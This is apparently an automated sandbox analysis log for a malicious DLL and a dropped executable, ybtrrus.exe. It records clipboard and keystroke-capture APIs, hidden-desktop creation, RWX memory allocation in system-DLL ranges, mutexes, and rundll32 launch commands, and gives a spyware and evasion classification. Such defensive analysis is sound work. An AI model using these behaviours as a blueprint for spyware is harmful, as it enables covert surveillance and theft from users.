Source: rundll32.exe, 00000013.00000002.1962876857.000000006C85D000.00000002.00000001.01000000.00000003.sdmp, T8TY28UxiT.dll String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: https://fontawesome.com
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: https://fontawesome.com/license/free
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: https://github.com/Yaffle/EventSource/
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: https://github.com/muaz-khan/RTCMultiConnection
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: https://github.com/muaz-khan/RTCMultiConnection/issues/778#issuecomment-524853468
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: https://github.com/muaz-khan/RecordRTC
Contains functionality for read data from the clipboard
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05468CD6 OpenClipboard, 28_2_05468CD6
Contains functionality to modify clipboard data
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05468DF6 SetClipboardData, 28_2_05468DF6
Contains functionality to read the clipboard data
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05468956 GetClipboardData, 28_2_05468956
Contains functionality to retrieve information about pressed keystrokes
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05468926 GetAsyncKeyState, 28_2_05468926
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_054687C6 CreateDesktopW, 28_2_054687C6
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\System32\loaddll32.exe Memory allocated: 76D80000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 775A0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 775A0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 775A0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 775A0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 775A0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 775A0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 775A0000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C832910 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError, 12_2_6C832910
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7F4430 NtCancelIoFileEx,NtDeviceIoControlFile,RtlNtStatusToDosError,NtCancelIoFileEx,RtlNtStatusToDosError,RtlNtStatusToDosError, 12_2_6C7F4430
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8327F0 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError, 12_2_6C8327F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C828701 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError, 12_2_6C828701
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7F5E50 NtCancelIoFileEx,RtlNtStatusToDosError, 12_2_6C7F5E50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7F7920 NtCancelIoFileEx,RtlNtStatusToDosError, 12_2_6C7F7920
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7F3B50 NtCancelIoFileEx,RtlNtStatusToDosError, 12_2_6C7F3B50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7F72C0 NtCancelIoFileEx,RtlNtStatusToDosError, 12_2_6C7F72C0
Contains functionality to communicate with device drivers
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7F4430: NtCancelIoFileEx,NtDeviceIoControlFile,RtlNtStatusToDosError,NtCancelIoFileEx,RtlNtStatusToDosError,RtlNtStatusToDosError, 12_2_6C7F4430
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6C45F6 12_2_6C6C45F6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6927E0 12_2_6C6927E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C833DBB 12_2_6C833DBB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6979E0 12_2_6C6979E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6A3B80 12_2_6C6A3B80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C699600 12_2_6C699600
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6933D2 12_2_6C6933D2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6A8CC0 12_2_6C6A8CC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7D0D10 12_2_6C7D0D10
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C818DF0 12_2_6C818DF0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C82CD50 12_2_6C82CD50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C84CEF0 12_2_6C84CEF0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C844E00 12_2_6C844E00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6A8F10 12_2_6C6A8F10
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C818880 12_2_6C818880
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6AE800 12_2_6C6AE800
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8308F0 12_2_6C8308F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C84C910 12_2_6C84C910
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C69C980 12_2_6C69C980
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C69EA50 12_2_6C69EA50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6B0B40 12_2_6C6B0B40
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C818B70 12_2_6C818B70
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C858470 12_2_6C858470
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C85A590 12_2_6C85A590
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6A8550 12_2_6C6A8550
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6E0500 12_2_6C6E0500
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C82A511 12_2_6C82A511
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C82E51E 12_2_6C82E51E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7765A0 12_2_6C7765A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C69C630 12_2_6C69C630
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7C4600 12_2_6C7C4600
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C80C610 12_2_6C80C610
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6B06C0 12_2_6C6B06C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8507C0 12_2_6C8507C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8467E0 12_2_6C8467E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6A8710 12_2_6C6A8710
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C85C0E0 12_2_6C85C0E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7840F0 12_2_6C7840F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C80A180 12_2_6C80A180
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6E0140 12_2_6C6E0140
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7481A0 12_2_6C7481A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7DC190 12_2_6C7DC190
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C80C170 12_2_6C80C170
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C71A216 12_2_6C71A216
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7E2210 12_2_6C7E2210
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6B02E0 12_2_6C6B02E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C818220 12_2_6C818220
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C850240 12_2_6C850240
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C84A3A0 12_2_6C84A3A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C747C60 12_2_6C747C60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C847C91 12_2_6C847C91
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C83BC40 12_2_6C83BC40
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7E9CB0 12_2_6C7E9CB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C781D60 12_2_6C781D60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7E7DB0 12_2_6C7E7DB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7E3E60 12_2_6C7E3E60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6DFE20 12_2_6C6DFE20
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C80BE00 12_2_6C80BE00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C857E00 12_2_6C857E00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6B7F40 12_2_6C6B7F40
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C855FC0 12_2_6C855FC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C747F00 12_2_6C747F00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6A9F80 12_2_6C6A9F80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C817880 12_2_6C817880
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7A1830 12_2_6C7A1830
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8578F0 12_2_6C8578F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7E78D0 12_2_6C7E78D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6A7920 12_2_6C6A7920
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6AB910 12_2_6C6AB910
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C799AD0 12_2_6C799AD0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C839A30 12_2_6C839A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C855B9C 12_2_6C855B9C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7E7B50 12_2_6C7E7B50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C73DB00 12_2_6C73DB00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C84DB17 12_2_6C84DB17
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C809480 12_2_6C809480
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C819480 12_2_6C819480
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6A9560 12_2_6C6A9560
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8055E0 12_2_6C8055E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C819670 12_2_6C819670
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C83B7A0 12_2_6C83B7A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8597F0 12_2_6C8597F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C805080 12_2_6C805080
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C7810C0 12_2_6C7810C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8191D0 12_2_6C8191D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C69D180 12_2_6C69D180
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C84F2F0 12_2_6C84F2F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C859250 12_2_6C859250
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C847370 12_2_6C847370
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE44FF0 28_2_6FE44FF0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE56750 28_2_6FE56750
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE49650 28_2_6FE49650
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE58D30 28_2_6FE58D30
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE504C0 28_2_6FE504C0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE4F480 28_2_6FE4F480
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE45400 28_2_6FE45400
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE583E0 28_2_6FE583E0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE543C0 28_2_6FE543C0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE503A4 28_2_6FE503A4
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE50BA0 28_2_6FE50BA0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE44BB0 28_2_6FE44BB0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE50380 28_2_6FE50380
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE44B20 28_2_6FE44B20
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE58A20 28_2_6FE58A20
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE50200 28_2_6FE50200
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE411E0 28_2_6FE411E0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE578E0 28_2_6FE578E0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE598E0 28_2_6FE598E0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE4E87E 28_2_6FE4E87E
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE45850 28_2_6FE45850
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE5D85C 28_2_6FE5D85C
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_0545DB30 28_2_0545DB30
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A94EB8 28_2_06A94EB8
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06AD560C 28_2_06AD560C
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06ACA410 28_2_06ACA410
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06AF9460 28_2_06AF9460
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A6C5B8 28_2_06A6C5B8
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A63514 28_2_06A63514
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06AC43A4 28_2_06AC43A4
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A6C304 28_2_06A6C304
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06B07374 28_2_06B07374
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A7A0C8 28_2_06A7A0C8
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06AE41E0 28_2_06AE41E0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A65EA8 28_2_06A65EA8
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A6BEC4 28_2_06A6BEC4
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A67CB4 28_2_06A67CB4
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06AE3A2C 28_2_06AE3A2C
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06AC6A48 28_2_06AC6A48
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A69BBC 28_2_06A69BBC
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A84B8C 28_2_06A84B8C
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A95B10 28_2_06A95B10
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06A7A828 28_2_06A7A828
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06AE4844 28_2_06AE4844
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_06B03924 28_2_06B03924
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E3D134 28_2_05E3D134
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E299D0 28_2_05E299D0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E261A8 28_2_05E261A8
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E081BA 28_2_05E081BA
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E3E16C 28_2_05E3E16C
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E19900 28_2_05E19900
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E080A4 28_2_05E080A4
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E0A854 28_2_05E0A854
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E0A3C4 28_2_05E0A3C4
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E0A768 28_2_05E0A768
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E24B74 28_2_05E24B74
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E0AB08 28_2_05E0AB08
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E15A78 28_2_05E15A78
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E2FA7C 28_2_05E2FA7C
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E3A31C 28_2_05E3A31C
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05E3B660 28_2_05E3B660
Found potential string decryption / allocating functions
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: String function: 06A96AF8 appears 34 times
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: String function: 6FE5DE20 appears 37 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 6C85CB80 appears 160 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 6C85C940 appears 156 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 6C85C830 appears 212 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 6C84B7E0 appears 49 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 6C849ED0 appears 31 times
One or more processes crash
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7620 -s 616
Uses 32bit PE files
Source: T8TY28UxiT.dll Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE, DLL
Source: T8TY28UxiT.dll Binary string: Afdfd\Device\Afd\Mio
Source: T8TY28UxiT.dll Binary string: Failed to open \Device\Afd\Mio: 8
Source: ybtrrus.exe, 00000021.00000002.2650668938.0000000000E5E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: NumberCaseSig Value="False"/>*.frm;*.vb;*.vbp;.vbs"/>
Source: ybtrrus.exe, 0000001C.00000002.2653315436.0000000002A19000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2653795251.0000000002B19000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: *.bas;*.cls;*.ctl;*.frm;*.vb;*.vbp;*.vbs
Source: ybtrrus.exe, 0000001C.00000000.1884379769.0000000000B31000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: <Mask Value="*.bas;*.cls;*.ctl;*.frm;*.vb;*.vbp;*.vbs"/>
Source: ybtrrus.exe, 0000001C.00000002.2653315436.0000000002A19000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2653795251.0000000002B19000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: (*.bas;*.cls;*.ctl;*.frm;*.vb;*.vbp;*.vbs@
Source: classification engine Classification label: mal96.spyw.evad.winDLL@66/45@0/8
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE48830 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,LookupPrivilegeValueA,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle, 28_2_6FE48830
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05467AAE AdjustTokenPrivileges, 28_2_05467AAE
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05467D56 GetDiskFreeSpaceW, 28_2_05467D56
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05467CFE FreeResource, 28_2_05467CFE
Source: C:\iDQiPwFWUp\ybtrrus.exe File created: C:\Users\user\AppData\Roaming\Scooter Software
Source: C:\iDQiPwFWUp\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\BeyondCompare3
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3456:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5812:120:WilError_03
Source: C:\iDQiPwFWUp\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\MutexNPA_UnitVersioning_7732
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5472:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7636:120:WilError_03
Source: C:\iDQiPwFWUp\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\madToolsMsgHandlerMutex$1c9c$432c4c
Source: C:\iDQiPwFWUp\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\MutexNPA_UnitVersioning_7292
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7204
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7552:120:WilError_03
Source: C:\iDQiPwFWUp\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\madExceptSettingsMtx$1e34
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7620
Source: C:\pnVcakKiqh\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\madExceptSettingsMtx$1d78
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7604
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7208
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7924
Source: C:\iDQiPwFWUp\ybtrrus.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8036
Source: C:\pnVcakKiqh\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\madToolsMsgHandlerMutex$1d88$432c4c
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7188
Source: C:\pnVcakKiqh\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\MutexNPA_UnitVersioning_7544
Source: C:\iDQiPwFWUp\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\BeyondCompare3
Source: C:\iDQiPwFWUp\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\madExceptSettingsMtx$1c7c
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8108:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7532:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8136:120:WilError_03
Source: C:\iDQiPwFWUp\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\Beyond Compare: BE887BC7-16B2-48B5-B618-B3A52A26EC10
Source: C:\iDQiPwFWUp\ybtrrus.exe Mutant created: \Sessions\1\BaseNamedObjects\madToolsMsgHandlerMutex$1e9c$432c4c
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\e1a9ee5b-b3ff-45ea-9647-c8dc25e5e75d Jump to behavior
Source: Yara match File source: 28.0.ybtrrus.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001C.00000000.1882294769.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: T8TY28UxiT.dll Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\iDQiPwFWUp\ybtrrus.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\iDQiPwFWUp\ybtrrus.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\pnVcakKiqh\ybtrrus.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\pnVcakKiqh\ybtrrus.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\iDQiPwFWUp\ybtrrus.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\iDQiPwFWUp\ybtrrus.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\iDQiPwFWUp\ybtrrus.exe File read: C:\Users\user\Desktop\desktop.ini
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\T8TY28UxiT.dll,DllMain
Source: T8TY28UxiT.dll ReversingLabs: Detection: 15%
Source: ybtrrus.exe String found in binary or memory: NATS-DANO-ADD
Source: ybtrrus.exe String found in binary or memory: NATS-SEFI-ADD
Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",#1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\T8TY28UxiT.dll,DllMain
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7620 -s 616
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7604 -s 544
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\T8TY28UxiT.dll,bz_internal_error
